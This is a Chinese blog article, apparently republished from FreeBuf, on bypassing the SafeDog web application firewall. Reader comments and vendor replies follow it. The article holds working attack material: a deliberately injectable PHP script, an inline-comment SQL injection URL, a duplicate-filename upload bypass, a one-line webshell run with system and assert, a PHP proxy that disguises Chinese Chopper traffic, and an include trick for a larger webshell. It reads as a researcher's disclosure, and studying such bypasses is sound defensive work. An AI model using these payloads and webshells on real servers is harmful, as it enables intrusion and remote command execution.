CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

安全狗

2017年5月22日 973点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

全方位绕过安全狗

diroverflow2014-07-02+19共1763402人围观 ,发现 52 个不明物体WEB安全

一、前言

安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

二、测试环境

本次测试环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

我们先写一个存在SQL注入漏洞的php:

<?
$uid = $_REQUEST['id'];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
if(!@mysql_select_db("supe",$conn))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where uid=".$uid;
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
    echo $rom["username"];
}
?>

我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

当安装安全狗之后,注入语句会被拦截:

经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤:

http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过

安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

假设有一个上传功能的php:

<?php
  if ($_FILES["file"]["error"] > 0)
    {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

然后在安全狗里设置禁止上传.php文件:

然后通过浏览器上传php会被拦截:

我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:

这样的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。

五、一句话webshell绕过

对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。

首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:

<?php
$_REQUEST['a']($_REQUEST['b']);
?>

然后在浏览器里执行:

http://192.168.200.115/small.php?a=system&b=dir

成功执行了系统命令,当然也可以执行php代码:

http://192.168.200.115/small.php?a=assert&b=phpinfo();

六、菜刀绕过

测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

首先在本地搭建WEB SERVER,然后写一个php转发程序:

<?php
$target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
  if(strstr($v, "base64_decode"))
  {
    $v=str_replace("base64_decode(","",$v);
    $v=str_replace("))",")",$v);
  }
  else
  {
    if($k==="z0")
      $v=base64_decode($v);
  }
  $pp=$k."=".urlencode($v);
  //echo($pp);
  if($i!=0)
  {
    $poststr=$poststr."&".$pp;
  }
  else
  {  
    $poststr=$pp;
  }
  $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

这样就可以使用菜刀来连接前面那个一句话马了:

这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款更好的类似菜刀的工具Altman:

http://www.i0day.com/1725.html

它的最大特点是开源,这意味着像安全狗这种根据特征来拦截的,只要改改源代码把特征字符串改掉,就永远也无法拦截。当然改这个代码要你自己动手喽。

七、webshell大马绕过

一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:

<?php
include('logo.txt');
?>

然后再把大马上传为logo.txt,这样就成功绕过安全狗的拦截执行了webshell:

这样大马也顺利执行了。

八、结束语

上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。

这里发几句题外的牢骚,很多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研究的价值。普通的防护方法原理很简单,但想要不影响应用又保证安全其实很难,如果没有对漏洞和攻击有深入理解的研究人员,安全产品是没法更上一层楼的。希望各个安全公司不要太功利,对研究人员多一些重视,安全公司真的不能仅仅等同于软件公司啊!

diroverflow2 篇文章等级: 2级
|
|
  • 上一篇:用搜索神器Everything定位Webshell木马后门
  • 下一篇:crossdomain.xml文件配置不当利用手法

这些评论亮了

  • safedog回复
    已交由相关人员处理,近期会更新版本进行修复,谢谢
    )214(亮了
  • 安全狗云备份(1级)回复
    非常感谢diroverflow 帮官方所做的测试工作!
    正是因为有这么多像diroverflow 一样的铁杆粉丝,安全狗才能够不断的完善、进步,更好的为广大用户提供更加优质的产品与服务~
    安全是一个动态的过程,矛与盾之间的攻防永远都是此消彼长的关系。安全产品存在漏洞或者可以被绕过并不可怕,可怕的是没有人愿意将漏洞或者bug公布出来,安全狗一直以来最引以为豪的,是我们所拥有的这样一群铁杆粉丝-----他们不断的帮助安全狗提出各种需求建议、bug反馈,其中,一部分拥有高层次技术素养的白帽子粉丝,更是经常为安全狗提供专业的漏洞测试。
    安全狗一直以来都秉持着与广大用户携手净化服务器、网络环境这样一种理念在奋斗,我们非常欢迎更多有志于安全领域的人,加入到我们的事业中来。基于这样的原因,我们开辟了专门的栏目安全狗漏洞响应中心(http://security.safedog.cn/index.html)欢迎更多的用户、白帽子们加入咱们共同的事业中来!
    )75(亮了
  • phithon(4级)一个想当文人的黑客~回复
    基本都是老东西,厂家不修复可能有他们的道理。
    但你发出来,就是在逼厂家修复,然后大家都没得玩了。
    唉。。。
    )42(亮了
  • 盘土回复
    安全狗是什么?为什么那么多人想绕TA?
    )30(亮了
  • zan回复
    大赞,好文
    )18(亮了
发表评论

已有 52 条评论

  • zan 2014-07-02回复1楼

    大赞,好文

    亮了(18)
  • tes 2014-07-02回复2楼

    好文 求如何ASP 如何全方面绕过安全狗

    亮了(9)
  • W41t3r (1级) 2014-07-02回复3楼

    好文章、收藏

    亮了(8)
  • 盘土 2014-07-02回复4楼

    安全狗是什么?为什么那么多人想绕TA?

    亮了(30)
  • yyyy3333 2014-07-02回复5楼

    ….下个版本即将更新 ……这是肯定的

    亮了(6)
  • zhangxiaodi (1级) 2014-07-02回复6楼

    这个那张到时不错,虽然已经有点过时 :oops:

    亮了(6)
  • 心在想念 2014-07-02回复7楼

    楼主大爱啊..

    亮了(6)
  • www 2014-07-02回复8楼

    这些方法对安全狗3.3有效么?

    亮了(7)
  • brick713 (1级) 2014-07-02回复9楼

    学习了!

    亮了(5)
  • MeirLin (5级)研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后... 2014-07-02回复10楼

    mark

    亮了(5)
  • f4ck111 (1级) 2014-07-02回复11楼

    狗狗你可好!!!

    亮了(5)
  • WeirdBird007 (3级)干过开发,日过渗透,某乙方渗透>_< '... 2014-07-02回复12楼

    大狗18式!

    亮了(7)
  • z10y 2014-07-02回复13楼

    ….下个版本即将更新 ……这是肯定的

    亮了(3)
  • by 2014-07-02回复14楼

    为什么我测试时包含不了一句话.txt?

    亮了(5)
    • bt 2014-07-02回复

      @by 我测试的时候 包含也不好使了。。

      亮了(5)
    • pkdv 2014-07-02回复

      @by 试试把文件改成.cvs

      亮了(4)
  • Curtain (1级) 2014-07-02回复15楼

    打狗棒法啊!!

    亮了(5)
  • ice 2014-07-02回复16楼

    iis6解析漏洞如何绕过?

    亮了(5)
  • 扬扬 2014-07-02回复17楼

    反正现在也不是非要用安全狗了,360网站卫士、加速乐、云锁之类不都挺好。

    亮了(4)
    • 2444763973 (1级) 2014-07-03回复

      此地无银三百两

      亮了(3)
  • ewq 2014-07-02回复18楼

    大神名字不错, 难道是当年叱咤风云的dir溢出哥?

    亮了(3)
  • safedog 2014-07-02回复19楼

    已交由相关人员处理,近期会更新版本进行修复,谢谢

    亮了(214)
    • 戏子gg 2014-07-02回复

      @safedog 亮了。。这里真的亮了

      亮了(2)
  • 千秋丶千年 (4级) 2014-07-02回复20楼

    这种事情怎么能放出来呢?放出来狗就嗅到了。。。
    以后遇到这种事情,私信给我就好了!~

    亮了(4)
  • skywhat 2014-07-02回复21楼

    不错不错,收藏了

    亮了(1)
  • anlfi (5级) 2014-07-02回复22楼

    你在逗我吗

    亮了(1)
  • PUA (1级) 2014-07-02回复23楼

    赞一个

    亮了(1)
  • phithon (4级)一个想当文人的黑客~ 2014-07-02回复24楼

    基本都是老东西,厂家不修复可能有他们的道理。
    但你发出来,就是在逼厂家修复,然后大家都没得玩了。
    唉。。。

    亮了(42)
    • anlfi (5级) 2014-07-02回复

      @phithon
      不慌╮(╯▽╰)╭
      大网站会用安全狗吗,需要处理那么多页面规则
      真要用起来 动不动就拦截 bug 还谈什么用户体验
      所以狗狗根本上不了台面 一般各大网站都会开发自己的waf
      集中代理恶意分析网关
      况且狗狗底层还有很多没有挖掘的东西 有的是时间
      更具代码对比漏洞的定律 漏洞反而多出现与新开发加入的代码
      多的是姿势

      亮了(6)
  • RickGray (3级) 2014-07-02回复25楼

    - -没得玩了

    亮了(2)
  • 安全狗safedog 2014-07-02回复26楼

    您好,相关人员已在处理,近期会更新版本进行修复,谢谢关注

    亮了(7)
  • Pany 2014-07-02回复27楼

    最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

    这都是你的研究吗?是你的研究 :cool:

    亮了(1)
  • 匿 2014-07-02回复28楼

    在用burp中使用test.jpg%20test.php到底是文件名不一样还是文件扩展名不一样!

    亮了(1)
  • kreezuf (1级) 2014-07-03回复29楼

    巴扎黑!

    亮了(1)
  • outstandingking 2014-07-02回复30楼

    都说过不要用mysql_connect 不安全了…用了不是明摆着被注…该

    亮了(0)
  • 疯行猎 2014-07-02回复31楼

    恐怖啊,必须严惩

    亮了(0)
  • 孙国梓 2014-07-02回复32楼

    强大!下次你写个脚本拿来我试试吧

    亮了(0)
  • lovefuck (1级) 2014-07-03回复33楼

    。。。打狗18武艺,亮出来,狗狗要急了

    亮了(1)
  • 安全狗云备份 (1级) 2014-07-03回复34楼

    非常感谢diroverflow 帮官方所做的测试工作!
    正是因为有这么多像diroverflow 一样的铁杆粉丝,安全狗才能够不断的完善、进步,更好的为广大用户提供更加优质的产品与服务~

    安全是一个动态的过程,矛与盾之间的攻防永远都是此消彼长的关系。安全产品存在漏洞或者可以被绕过并不可怕,可怕的是没有人愿意将漏洞或者bug公布出来,安全狗一直以来最引以为豪的,是我们所拥有的这样一群铁杆粉丝—–他们不断的帮助安全狗提出各种需求建议、bug反馈,其中,一部分拥有高层次技术素养的白帽子粉丝,更是经常为安全狗提供专业的漏洞测试。

    安全狗一直以来都秉持着与广大用户携手净化服务器、网络环境这样一种理念在奋斗,我们非常欢迎更多有志于安全领域的人,加入到我们的事业中来。基于这样的原因,我们开辟了专门的栏目安全狗漏洞响应中心(http://security.safedog.cn/index.html)欢迎更多的用户、白帽子们加入咱们共同的事业中来!

    亮了(75)
  • 2444763973 (1级) 2014-07-03回复35楼

    都是老掉牙的绕过就别拿出来丢人了

    亮了(3)
  • flowind 2014-07-03回复36楼

    汗…..这东西…

    亮了(1)
  • 我是坑 2014-07-04回复37楼

    卧槽asp/aspx咋绕啊

    亮了(1)
  • xxxxu 2014-07-06回复38楼

    你发出来干鸟啊,就换来一句,谢谢!

    亮了(5)
  • 呵呵 2014-07-07回复39楼

    access+asp 装了安全狗基本无视任何注入
    禁止同一台机子短时间内频繁请求,再厉害的绕过也没的玩

    亮了(2)
  • JoyChou (2级) 2014-07-15回复40楼

    打狗棒

    亮了(1)
  • ruo (3级)诗酒趁年华 2014-07-17回复41楼

    这个不错

    亮了(1)
  • autumn (1级) 2014-08-20回复42楼

    好文章

    亮了(0)
  • 路过 2014-08-25回复43楼

    好文赞了。。

    亮了(0)
  • whitehole (1级) 2014-09-03回复44楼

    顶博主,感谢博主,这是我们新人的福!哎,对一些人都不知道该说什么,自己不懂的分享,对别人分享的东西还指手划脚。。。

    亮了(6)
  • 猫流 (1级) 2014-09-08回复45楼

    太强了 :razz:

    亮了(1)
  • lixupeng (4级) 2014-12-27回复46楼

    学习!!

    亮了(0)
  • BattleHeart (1级) 2015-02-12回复47楼

    不错,很强大,学习了~感谢博主的分享~

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

diroverflow

这家伙太懒,还未填写个人描述!

2 篇文章4 条评论

相关阅读

  • 安全研究人员最爱的15款操作系统(含下载)
  • 游戏中学会撸代码:这些编程学习网站不容错过
  • 世界读书日:《白帽子讲浏览器安全》#你评论,我送书#
  • 技术分享:如何使用Metasploit对安卓手机进行控制
  • 全方位绕过安全狗

特别推荐

关注我们 分享每日精选文章

不容错过

  • 翻墙?隐私?今天聊聊VPN的那些事儿dawner2016-06-12
  • 手把手教你构建8个GPU的破密码机Alpha_h4ck2017-02-27
  • 揭秘:iOS恶意软件KeyRaider如何盗取超过22.5万苹果账户月尽西楼2015-09-01
  • 外卖O2O App安全性分析:App漏洞评估平台技术细节bt0sea2015-09-21

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0day

标签: 暂无
最后更新:2017年5月22日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me